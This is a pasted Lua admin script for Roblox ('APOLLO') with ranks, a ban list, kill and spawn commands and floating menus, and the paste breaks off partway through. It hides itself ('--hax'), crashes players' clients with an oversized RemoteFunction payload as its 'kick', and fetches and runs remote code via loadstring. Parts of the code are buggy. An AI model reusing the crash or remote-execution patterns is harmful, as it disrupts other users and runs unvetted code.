Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- wait()
- script.Parent=nil--hax wait -_-
- code=function()
- _G.APOLLO={};
- _G.APOLLO.baseKey='o43ua8weuf98u(*U#(*uoiwajdsf8p#*U(jh8idfa';
- _G.APOLLO.decodeKey='joU*3uf98asdu9*H#O*SF&DYOH';
- _G.APOLLO.encodeKey='joij983#(*#*)(DSFUJHdfoaisu(*#';
- APOLLO={ --SCRIPT_CORE
- killKey=nil;
- CoreStuff={RotMode=1,tabPart=nil,REMOVED=false,ChangingLighting=false,rotRunning=false,breakLoops=false,State=nil,Version=1.3,StoredTablets={},ROT=0,ROTA=0.15,TabletParent=game:service'Workspace' or 'CANNOT_PARENT',baseLink='http://google.com',SavedTabletsInfo={},PlayersSavedPositions={},ServerCreating=false};
- Commands={};
- NotReal={
- _G={},
- shared={}
- };
- Ranked={
- {Name='APOLLO_SYSTEM',Rank=7,Reason='EVENT_HANDELING'};
- {Name='koolzion',Rank=7,Reason='Creator',Bet='-'};
- {Name='gg',Rank=5,Reason='g'};
- };
- Banned={'blowup999','noobkilervip','Razorfire55','Derek1017','meunumbertwo','TESTACCOUNT66666666','joshie0707'};
- TimeBanned={};
- Settings={pondaMode=false,sharedLock=true,SilentMode=false,NoMessage=true,SaveLighting=true,Pri=false,NilsAllowed=true,Bet='/',Table=false,Idle=false};
- Functions={};
- Idling={};
- Logged={};
- Services={
- game:service'Workspace';
- game:service'Lighting';
- game:service'Players';
- game:service'Debris';
- game:service'ServerStorage';
- };
- Colors={
- "Medium stone grey","White","Grey","Light yellow","Brick yellow","Light green (Mint)","Light reddish violet",
- "Pastel Blue","Light orange brown","Nougat","Bright red","Med. reddish violet","Bright blue","Bright yellow",
- "Earth orange","Black","Dark grey","Dark green","Medium green","Lig. Yellowich orange","Bright green",
- "Dark orange","Light bluish violet","Transparent","Tr. Red","Tr. Lg blue","Tr. Blue","Tr. Yellow","Light blue",
- "Tr. Flu. Reddish orange","Tr. Green","Tr. Flu. Green","Phosph. White","Light red","Medium red","Medium blue",
- "Light grey","Bright violet","Br. yellowish orange","Bright orange","Bright bluish green","Earth yellow",
- "Bright bluish violet","Tr. Brown","Medium bluish violet","Tr. Medi. reddish violet","Med. yellowish green",
- "Med. bluish green","Light bluish green","Br. yellowish green","Lig. yellowish green","Med. yellowish orange",
- "Br. reddish orange","Bright reddish violet","Light orange","Tr. Bright bluish violet","Gold","Dark nougat",
- "Silver","Neon orange","Neon green","Sand blue","Sand violet","Medium orange","Sand yellow","Earth blue",
- "Earth green","Tr. Flu. Blue","Sand blue metallic","Sand violet metallic","Sand yellow metallic",
- "Dark grey metallic","Black metallic","Light grey metallic","Sand green","Sand red","Dark red","Tr. Flu. Yellow",
- "Tr. Flu. Red","Gun metallic","Red flip/flop","Yellow flip/flop","Silver flip/flop","Curry","Fire Yellow",
- "Flame yellowish orange","Reddish brown","Flame reddish orange","Royal blue","Dark Royal blue",
- "Bright reddish lilac","Dark stone grey","Lemon metalic","Light stone grey","Dark Curry","Faded green",
- "Turquoise","Light Royal blue","Medium Royal blue","Rust","Brown","Reddish lilac","Lilac","Light lilac",
- "Bright purple","Light purple","Light pink","Light brick yellow","Warm yellowish orange","Cool yellow",
- "Dove blue","Medium lilac","Institutional white","Mid gray","Really black","Really red","Deep orange","Alder",
- "Dusty Rose","Olive","New Yeller","Really blue","Navy blue","Deep blue","Cyan","CGA brown","Magenta","Pink",'Teal',
- "Toothpaste","Lime green","Camo","Grime","Lavender","Pastel light blue","Pastel orange","Pastel violet",
- "Pastel blue-green","Pastel green","Pastel yellow","Pastel brown","Royal purple","Hot pink";
- };
- };setmetatable(APOLLO.NotReal._G,{__index='APOLLO locked this table!',__newindex='APOLLO locked this table!',__metatable='APOLLO locked this table!'});
- setmetatable(APOLLO.NotReal.shared,{__index='APOLLO locked this table!',__newindex='APOLLO locked this table!',__metatable='APOLLO locked this table!'});
- APOLLO.killKey=_G.APOLLO.baseKey.._G.APOLLO.decodeKey.._G.APOLLO.encodeKey;
- local CurrentVersion;
- if getfenv(load)~=nil then
- local e=getfenv(load)
- e.require=nil;e.require=require;
- end;
- APOLLO.Functions.fetchSound=function(Words)
- local KeyWords = game:service'HttpService':UrlEncode(Words)
- local Url = 'http://roproxy.tk/catalog/json?Keyword='..tostring(KeyWords)..'&Category=9&ResultsPerPage=50'
- local Assets = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync(Url))
- return Assets
- end
- APOLLO.Functions.musicInterface=function(plr,words)
- local songs={}
- local id=0
- for i,v in next,APOLLO.Functions.fetchSound(words)do
- table.insert(songs,v);
- end
- for i,v in next,songs do
- APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Lime green',function()APOLLO.Functions.dismiss(plr)
- id=v.AssetId;
- local sound=Instance.new("Sound",script)
- sound.SoundId=id;
- APOLLO.CoreStuff.Sound=sound;
- --//\\--
- end)
- end
- end
- APOLLO.Functions.getRank=function(player)
- for _,rank in next,APOLLO.Ranked do
- if rank.Name:lower()==player.Name:lower() then
- return rank.Rank
- end
- end
- end;
- APOLLO.Functions.setRank=function(player,newrank)
- for _,rank in next,APOLLO.Ranked do
- if rank.Name:lower()==player.Name:lower() then
- rank.Rank=newrank
- end
- end
- end;
- APOLLO.Functions.getReason=function(player)
- for _,rank in next,APOLLO.Ranked do
- if rank.Name:lower()==player.Name:lower() then
- return rank.Reason
- end
- end
- end;
- APOLLO.Functions.attach=function(plr,object)
- local function check(o)
- if o:IsA'BasePart'then
- return true
- else
- return false
- end
- end
- if check(object)==true then
- table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=plr,P=object,ID=math.random(),Rainbow=Clr=='Rainbow'and true or false});
- end
- end
- APOLLO.Functions.AddCommand=function(Name,Chat,Rank,Description,Function)
- APOLLO.Commands[#APOLLO.Commands+1]={['Name']=Name,['Say']=Chat,['Rank']=Rank,['Desc']=Description,['Func']=Function}
- end;
- APOLLO.Functions.AddRank=function(Name,Rank,Reason,Bet)
- local f=false;
- for _,v in pairs(APOLLO.Ranked) do
- if v["Name"] == tostring(Name) then
- f = true
- break
- end
- end
- if f==false then
- APOLLO.Ranked[#APOLLO.Ranked+1]={['Name']=Name,['Rank']=Rank,['Reason']=Reason,['Bet']=Bet or '/'}
- end
- end;
- APOLLO.Functions.getPlayers=function(plr,msg)
- local PlayersFound={}
- if msg=='me' then
- table.insert(PlayersFound,plr)
- elseif msg=='others' then
- for i,p in next,game:service'Players':players() do
- if p.Name~=plr.Name then
- if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(p) then
- table.insert(PlayersFound,p)
- end
- end
- end
- elseif msg=='all' then
- for i,v in next,game:service'Players':players() do
- if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(v)then
- table.insert(PlayersFound,v)
- end
- end
- else
- for i,v in next,game:service'Players':players() do
- if v.Name:lower():sub(1,#v.Name):find(msg:lower():sub(1,#msg)) then
- if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(v)then
- table.insert(PlayersFound,v)
- end
- end
- end
- end
- return PlayersFound
- end;
- APOLLO.Functions.Chat=function(plr,msg)
- local Bet=nil
- for i,v in next,APOLLO.Ranked do
- if v.Name==plr.Name then
- Bet=v.Bet or '/'
- end
- end
- if msg:sub(1,3)=='/e ' then
- msg=msg:sub(4)
- end
- for i,command in next,APOLLO.Commands do
- if(msg:sub(1,#command['Say']+#Bet)==command['Say']..Bet)then
- if(APOLLO.Functions.getRank(plr)>=command.Rank)then
- msg=msg:sub(#command['Say']+#Bet+1);
- APOLLO.Functions.dismiss(plr);
- for i,v in next,APOLLO.Logged do
- if v['Name']==tostring(plr) then
- v.Actions[#v.Actions+1]=tostring(plr)..'/'..tostring(command['Say']);
- end
- end
- a,b=ypcall(function()
- command['Func'](plr,msg);
- end);
- if not a then
- error(b)
- end
- else
- APOLLO.Functions.dismiss(plr);
- if(APOLLO.Settings.pondaMode==false)then
- APOLLO.Functions.tabletOutput(plr,'You are not allowed to use APOLLO this way.','Really red');
- elseif(APOLLO.Settings.pondaMode==true)then
- APOLLO.Functions.tabletOutput(plr,'You are not allowed to ponda this way.','Really red');
- end
- end;
- end;
- end;
- end;
- function APOLLO.Functions.guiNotifyBig(plr,txt,tm)
- --coroutine.wrap(function()
- local Not=Instance.new('ScreenGui',plr.PlayerGui);
- Not.Name='APOLLO_NOTIFY_SMALL';
- local T=Instance.new('TextButton',Not);
- T.Size=UDim2.new(0,200,0.15,0);
- T.Position=UDim2.new(0.85,0,1-(6.5),0);
- T.TextXAlignment='Left';
- T.TextYAlignment='Top';
- T.Font='Legacy';
- T.FontSize='Size18';
- T.TextScaled=true;
- T.BorderSizePixel=0;
- T.BackgroundColor3=Color3.new(0,0,0);
- T.BackgroundTransparency=.5;
- T.TextColor3=Color3.new(1,1,1);
- T.Text=tostring(txt);
- wait(tm)
- Not:remove();
- --end)
- end;
- APOLLO.Functions.toRGB=function(r,g,b)
- return(Color3.new(r/255,g/255,b/255));
- end;
- APOLLO.Functions.fixLighting=function()
- APOLLO.CoreStuff.ChangingLighting=true;
- local lighting=game:service'Lighting'
- lighting.GeographicLatitude=41.733299255371;
- lighting.ColorShift_Bottom=APOLLO.Functions.toRGB(0,0,0);
- lighting.ShadowColor=APOLLO.Functions.toRGB(179,179,179);
- lighting.ColorShift_Top=APOLLO.Functions.toRGB(0,0,0);
- lighting.FogColor=APOLLO.Functions.toRGB(192,192,192);
- lighting.Ambient=APOLLO.Functions.toRGB(128,128,128);
- lighting.TimeOfDay='14:00:00';
- lighting.GlobalShadows=false;
- lighting.Name='Lighting';
- lighting.archivable=true;
- lighting.Outlines=false;
- lighting.Brightness=1;
- lighting.FogEnd=1e5;
- lighting.FogStart=0;
- for index,v in next,game:service'Lighting':children()do
- if(v:IsA'Sky')then
- v:destroy();
- end;
- end;
- APOLLO.CoreStuff.ChangingLighting=false;
- end
- APOLLO.Functions.rotateAnim=function(part)
- pcall(function()
- APOLLO.CoreStuff.ROT=APOLLO.CoreStuff.ROT+APOLLO.CoreStuff.ROTA/100;
- for _,player in next,game:getService'Players':getPlayers''do
- local collected_tablets={};
- for _,tablet in next,APOLLO.CoreStuff.StoredTablets do
- if(tablet.Owner==player)then
- if tablet.P.Parent ~= APOLLO.CoreStuff.TabletParent then
- APOLLO.CoreStuff.StoredTablets[_]=nil
- else
- table.insert(collected_tablets,tablet);
- end
- end;
- end;
- for I=1,#collected_tablets do
- --local position=player.Character.Torso.CFrame or part.CFrame;
- local position;
- if player.Character~=nil and player.Character.Torso~=nil then
- position=player.Character.Torso.CFrame
- APOLLO.CoreStuff.PlayersSavedPositions[player.Name] = player.Character.Torso.CFrame
- else
- position = APOLLO.CoreStuff.PlayersSavedPositions[player.Name] or CFrame.new(0,25,0)
- --position=part.CFrame+Vector3.new(#tostring(player.Name),50,#tostring(player.Name))
- end
- local radius=6;
- local position_2=(I/#collected_tablets-(.5/#collected_tablets)+(APOLLO.CoreStuff.ROT/(#collected_tablets/10)))*math.pi*2
- local radius_function=(#collected_tablets*.6)+radius;
- local X=math.sin(position_2)*(radius_function);
- local Y=math.sin(time());
- local Z=math.cos(position_2)*radius_function;
- local A=Vector3.new(X,Y,Z)+position.p;
- local B=collected_tablets[I].P.CFrame.p;
- local C=A*.1+B*.9;
- local spinning_angle=math.rad((APOLLO.CoreStuff.ROT*300)*math.pi);
- collected_tablets[I].P.CFrame=CFrame.new(C,position.p)*CFrame.Angles(spinning_angle,spinning_angle,spinning_angle)
- end;
- end;
- end)
- APOLLO.CoreStuff.rotRunning=true;
- end;
- APOLLO.Functions.revertBase=function()
- pcall(function()workspace.Base:remove()end);
- local b=Instance.new("Part")
- b.Anchored=true;
- b.Locked=true
- b.CanCollide=true
- b.Material='Grass'
- b.Name='Base'--prevent removal by g/c
- b.Size=Vector3.new(700,1.2,700);
- b.BrickColor=BrickColor.new('Bright green');
- print'new base'
- end
- APOLLO.Functions.update=function()
- local newVer=game:service'HttpService':GetAsync(APOLLO.CoreStuff.baseLink,true);
- script:Destroy()
- APOLLO.Ranked={}
- APOLLO.Functions={}
- APOLLO.CoreStuff={}
- APOLLO.Settings={}
- APOLLO.Idling={}
- APOLLO.Logged={"APOLLO_DISABLED"}
- APOLLO={}
- for i,env in next,getfenv(1) do
- getfenv(1)[i]='DISABLED'
- end
- for i,env2 in next,getfenv(0)do
- getfenv(0)[i]='DISABLED'
- end
- for i,env3 in next,getfenv()do
- getfenv()[i]='DISABLED'
- end
- wait()
- loadstring(newVer)();
- script.Disabled=true;
- script:Destroy()
- end;
- APOLLO.Functions.Fake = {
- Table = function(Table)
- local SimulatedTable = {}
- table.foreach(Table,function(Index, Value)
- SimulatedTable[Index] = Value
- end)
- return SimulatedTable
- end,
- }
- APOLLO.Functions.tabletOutput=function(Plr,Text,Clr,OnClicked,OnTouched)
- if APOLLO.Settings.SilentMode==true then return end
- pcall(function()
- coroutine.wrap(function()
- if Plr == nil then
- Plr = game.Players:players()[math.random(1,#game.Players:players())]
- end
- if type(Plr) == 'userdata' then
- Plr = Plr
- elseif type(Plr) == 'string' then
- for _,v in pairs(game.Players:players()) do
- if v.Name:lower():sub(1,#Plr) == Plr:lower() then
- Plr = v
- break
- end
- end
- end
- local id_=math.random();
- if Text == nil then Text = "[:ERROR:]{NO_TEXT_ENTERED}" end
- if Clr == nil then Clr = "Random" end
- local T = Instance.new("Part",APOLLO.CoreStuff.TabletParent)
- T.FormFactor = 'Custom'
- pcall(function() T.CFrame=Plr.Character.Torso.CFrame end)
- T.CanCollide=false
- T.Locked=true
- T.Anchored=true
- T.Size=Vector3.new(2.5,2.5,2.5)
- T.Name='SOLAR_TABLET_'..math.random(-99999,99999);
- if(APOLLO.Settings.pondaMode==true)then
- local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda
- Hat.Handle.Mesh.Parent=T
- end
- pcall(function()
- if type(Clr) == "string" then
- if Clr == "Random" then
- T.BrickColor = BrickColor.random()
- else
- T.BrickColor = BrickColor.new(Clr)
- end
- elseif type(Clr) == "userdata" then
- T.Color = BrickColor.new(Clr).Color
- end
- end)
- T.TopSurface=0
- T.BottomSurface=0
- if(APOLLO.Settings.pondaMode==false)then
- T.Transparency=0.65
- end
- local BBG = Instance.new("BillboardGui",T)
- BBG.Adornee = T
- BBG.StudsOffset = Vector3.new(0,3,0)
- BBG.Size = UDim2.new(10,0,10,0)
- local TL = Instance.new("TextLabel", BBG)
- TL.Name="OutputText"
- TL.Size = UDim2.new(1,0,1,0)
- TL.BackgroundTransparency = 1
- TL.TextColor = T.BrickColor
- TL.Text = Text
- TL.TextStrokeTransparency = 0
- TL.Font = 'Arial'
- TL.FontSize = "Size18"
- local C = Instance.new("ClickDetector", T)
- C.MaxActivationDistance = math.huge
- C.MouseClick:connect(function(p)
- if p.Name == Plr.Name or APOLLO.Functions.getRank(p) > APOLLO.Functions.getRank(Plr) then
- for i,v in pairs(APOLLO.CoreStuff.SavedTabletsInfo) do
- if v.P.Name == T.Name then
- APOLLO.CoreStuff.SavedTabletsInfo[i]=nil
- end
- end
- wait();
- T:Destroy()
- for i,v in pairs(APOLLO.CoreStuff.StoredTablets) do
- if(v.ID==id_)then
- table.remove(APOLLO.CoreStuff.StoredTablets, i)
- end
- end
- if OnClicked ~= nil then
- a,b = ypcall(function()
- -- for i = 0,3 do APOLLO.Functions.dismiss(Plr) end);
- OnClicked()
- end)
- if not a then
- APOLLO.Functions.tabletOutput(b,"Really red")
- end
- end
- end
- end)
- if OnTouched ~= nil then
- T.Touched:connect(function(what)
- if what.Parent.Name ~= Plr.Name then
- local higherRank = false
- pcall(function()
- if APOLLO.Functions.getRank(what.Parent.Name) > APOLLO.Functions.getRank(Plr) then
- higherRank = true
- end
- end)
- if higherRank == false then
- OnTouched(what)
- end
- end
- end)
- end
- table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=Plr,P=T,ID=id_,Rainbow=Clr=='Rainbow'and true or false});
- table.insert(APOLLO.CoreStuff.SavedTabletsInfo,{OnClicked=OnClicked,OnTouched=OnTouched,Owner=Plr,P=T:Clone(),ID=id_,Rainbow=Clr=='Rainbow'and true or false});
- end)()
- end)
- end
- workspace.descendantRemoving:connect(function(meow)
- local x = meow.Name --god darn buutif0l --so it waits to check if dismiss removed it
- wait()
- coroutine.wrap(function()
- for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do
- if v.P.Name == x then
- local meowX = v.P:Clone()
- for _,y in next,meowX:children() do
- if y.ClassName == 'ClickDetector' then
- y:remove()
- end
- end
- meowX.Parent = APOLLO.CoreStuff.TabletParent
- local meowY = Instance.new("ClickDetector",meowX)
- meowY.MaxActivationDistance = math.huge
- meowY.MouseClick:connect(function(p)
- if p.Name == v.Owner.Name or APOLLO.Functions.getRank(p) > APOLLO.Functions.getRank(v.Owner) then
- APOLLO.CoreStuff.SavedTabletsInfo[i]=nil
- meowX:remove()
- for _,y in pairs(APOLLO.CoreStuff.StoredTablets) do
- if(y.P.Name == meowX.Name)then
- table.remove(APOLLO.CoreStuff.StoredTablets, _)
- end
- end
- if v.OnClicked ~= nil then
- a,b = ypcall(function()
- v.OnClicked()
- end) if not a then
- APOLLO.Functions.tabletOutput(b,"Really red")
- end
- end
- end
- end)
- if v.OnTouched ~= nil then
- v.P.Touched:connect(function(what)
- if what.Parent.Name ~= v.Owner.Name then
- local higherRank = false
- pcall(function()
- if APOLLO.Functions.getRank(what.Parent.Name) > APOLLO.Functions.getRank(v.Owner) then
- higherRank = true
- end
- end)
- if higherRank == false then
- OnTouched(what)
- end
- end
- end)
- end
- table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=v.Owner,P=meowX,ID=v.id_,Rainbow=v.Rainbow})
- end
- end
- end)()
- end)
- APOLLO.Functions.kick=function(...)
- local args={...}
- local r=Instance.new('RemoteFunction',game.Lighting);
- for i,f in next,args do
- if type(f) == 'userdata' then
- f = f
- elseif type(f) == 'string' then
- for _,v in pairs(game.Players:players()) do
- if v.Name:lower():sub(1,#f) == f:lower() then
- f = v
- break
- end
- end
- end
- pcall(function()
- r:InvokeClient(f,{string.rep('ok',5e5+9)});
- end);
- end
- wait();
- r:Destroy();
- end;
- APOLLO.Functions.getRanked=function(plr)
- APOLLO.Functions.tabletOutput(plr,'Rank 0','Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
- APOLLO.Functions.tabletOutput(plr,'Rank 0','Really red');
- for i,v in next,APOLLO.Ranked do
- if v.Rank==0 then
- APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
- end
- end
- end);
- APOLLO.Functions.tabletOutput(plr,'Rank 1','Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
- APOLLO.Functions.tabletOutput(plr,'Rank 1','Really red');
- for i,v in next,APOLLO.Ranked do
- if v.Rank==1 then
- APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
- end
- end
- end);
- APOLLO.Functions.tabletOutput(plr,'Rank 2','Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
- APOLLO.Functions.tabletOutput(plr,'Rank 2','Really red');
- for i,v in next,APOLLO.Ranked do
- if v.Rank==2 then
- APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
- end
- end
- end);
- APOLLO.Functions.tabletOutput(plr,'Rank 3','Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
- APOLLO.Functions.tabletOutput(plr,'Rank 3','Really red');
- for i,v in next,APOLLO.Ranked do
- if v.Rank==3 then
- APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
- end
- end
- end);
- APOLLO.Functions.tabletOutput(plr,'Rank 4','Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
- APOLLO.Functions.tabletOutput(plr,'Rank 4','Really red');
- for i,v in next,APOLLO.Ranked do
- if v.Rank==4 then
- APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
- end
- end
- end);
- APOLLO.Functions.tabletOutput(plr,'Rank 5','Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
- APOLLO.Functions.tabletOutput(plr,'Rank 5','Really red');
- for i,v in next,APOLLO.Ranked do
- if v.Rank==5 then
- APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
- end
- end
- end);
- APOLLO.Functions.tabletOutput(plr,'Rank 6','Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
- APOLLO.Functions.tabletOutput(plr,'Rank 6','Really red');
- for i,v in next,APOLLO.Ranked do
- if v.Rank==6 then
- APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green');
- end
- end
- end);
- APOLLO.Functions.tabletOutput(plr,'ROOT','Really red',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
- APOLLO.Functions.tabletOutput(plr,'nil','Really red');
- for i,v in next,APOLLO.Ranked do
- if v.Rank==7 then
- APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
- APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
- end
- end
- end);
- end
- APOLLO.Functions.guiNotify=function(plr,text,time)
- coroutine.wrap(function()
- if time==nil then time=3 end
- local Notify = Instance.new("ScreenGui",plr.PlayerGui)
- Notify.Name = "APOLLO_NOTIFY"
- local TextPart = Instance.new("TextLabel",Notify) --buttons have better styles
- TextPart.Size=UDim2.new(0.7,0,0.05,0)
- TextPart.Position=UDim2.new(0,100,-.2,0);
- TextPart.Text = text
- TextPart.BackgroundColor3=Color3.new(0,0,0);
- TextPart.TextColor3 = Color3.new(1,1,1)
- TextPart.TextScaled = true
- TextPart.BorderSizePixel=0;
- TextPart:TweenPosition(UDim2.new(0,0,0,0),'Out','Quad',2,true);
- wait(time);
- TextPart:TweenPosition(UDim2.new(0,0,-.2,0),'Out','Quad',2,true);
- wait(3);
- Notify:destroy();
- end)();
- end;
- APOLLO.Functions.playerInterface=function(plr)
- for i,v in next,game:service'NetworkServer':children() do
- local player=v:GetPlayer()
- if player.Parent==nil then
- APOLLO.Functions.tabletOutput(plr,player.Name..' : nil','Really red',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Destroy '..player.Name..'?','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.kick(player)end)
- end)
- elseif player.Parent==game.Players then
- APOLLO.Functions.tabletOutput(plr,player.Name..' : in-game','Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Administrative actions','Really red',function()
- APOLLO.Functions.tabletOutput(plr,'Respawn '..player.Name..'?','Dark green',function()APOLLO.Functions.dismiss(plr)player:LoadCharacter()end);
- APOLLO.Functions.tabletOutput(plr,'Kick '..player.Name..'?','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.kick(player)end);
- APOLLO.Functions.tabletOutput(plr,'Rejoin '..player.Name..'?','New Yeller',function()APOLLO.Functions.dismiss(plr)game:service'TeleportService':Teleport(player,game.PlaceId)end);
- end);
- APOLLO.Functions.tabletOutput(plr,'Fun actions','Dark green',function()APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Kill','Dark green',function()APOLLO.Functions.dismiss(plr)player.Character:BreakJoints()end)
- --line 666
- end)
- end)
- else
- APOLLO.Functions.tabletOutput(plr,tostring(player.Name) or 'Unknown'..' : joining','New Yeller',function()APOLLO.Functions.kick(player)end);
- end
- end
- end
- function APOLLO.Functions.dismiss(plr)
- pcall(function()
- if type(plr) == "userdata" then
- plr = plr
- elseif type(plr) == "string" then
- local f = false
- for _,v in pairs(game.Players:players())do
- wait()
- if v.Name:lower():sub(1,#plr) == plr:lower() then
- f = true
- plr = v
- break
- end
- end
- if f == false then
- --//
- end
- else
- return
- end
- for i,v in next,APOLLO.CoreStuff.StoredTablets do
- if v.Owner == plr then
- v.P:remove()
- APOLLO.CoreStuff.StoredTablets[i]=nil
- end
- end
- for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do
- if v.Owner == plr then
- APOLLO.CoreStuff.SavedTabletsInfo[i] = nil
- v.P:remove() end
- end
- end)
- end
- APOLLO.Functions.showCommands=function(plr)
- for i,v in next,APOLLO.Commands do
- APOLLO.Functions.tabletOutput(plr,v.Name,'Really red',function()
- APOLLO.Functions.dismiss(plr)
- APOLLO.Functions.tabletOutput(plr,'Command name: '..v.Name,'Really red')
- APOLLO.Functions.tabletOutput(plr,'Command description: '..v.Desc,'Dark green')
- APOLLO.Functions.tabletOutput(plr,'Required rank: '..v.Rank,'Really red')
- APOLLO.Functions.tabletOutput(plr,'Usage: '..v.Say,'Dark green')
- APOLLO.Functions.tabletOutput(plr,'Dismiss','Hot pink',function()wait()APOLLO.Functions.dismiss(plr)end)
- end);end;APOLLO.Functions.tabletOutput(plr,'Dismiss','Hot pink',function()wait()APOLLO.Functions.dismiss(plr)end)end;
- --
- --
- --
- --Commands--
- --
- --
- --
- APOLLO.Functions.AddCommand('Kill','kill',1,'Kills a player',function(user,msg)
- for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
- if v.Character then
- v.Character.Humanoid.Health=0
- end
- end
- end);
- APOLLO.Functions.AddCommand('Ponda Family','pondaf',5,'Creates a family of pandas',function(user,msg)
- for i = 0,100 do
- local num=msg:sub(1,2)
- local num2=msg:sub(4,6)
- local Asset = "http://www.roblox.com/asset/?id="
- function Part(P, Anch, Coll, Tran, Ref, Col, X, Y, Z)
- local p = Instance.new("Part")
- p.TopSurface = 0
- p.BottomSurface = 0
- p.Transparency = Tran
- p.Reflectance = Ref
- p.CanCollide = Coll
- p.Anchored = Anch
- p.BrickColor = BrickColor.new(Col)
- p.formFactor = "Custom"
- p.Size = Vector3.new(X,Y,Z)
- p.Parent = P
- p.Locked = true
- p:BreakJoints()
- return p
- end
- function Weld(P0, P1, X, Y, Z, A, B, C)
- local w = Instance.new("Weld")
- w.Part0 = P0
- w.Part1 = P1
- w.C = CN(X, Y, Z) * CA(A, B, C)
- w.Parent = P0
- return w
- end
- CA = CFrame.Angles
- CN = CFrame.new
- V3 = Vector3.new
- MR = math.rad
- MP = math.pi
- MRA = math.random
- MH = math.huge
- Noob = nil
- function MakeMotor(torso, p1, c0, c1)
- local mot = Instance.new("Motor6D")
- mot.C0 = c0
- mot.C1 = c1
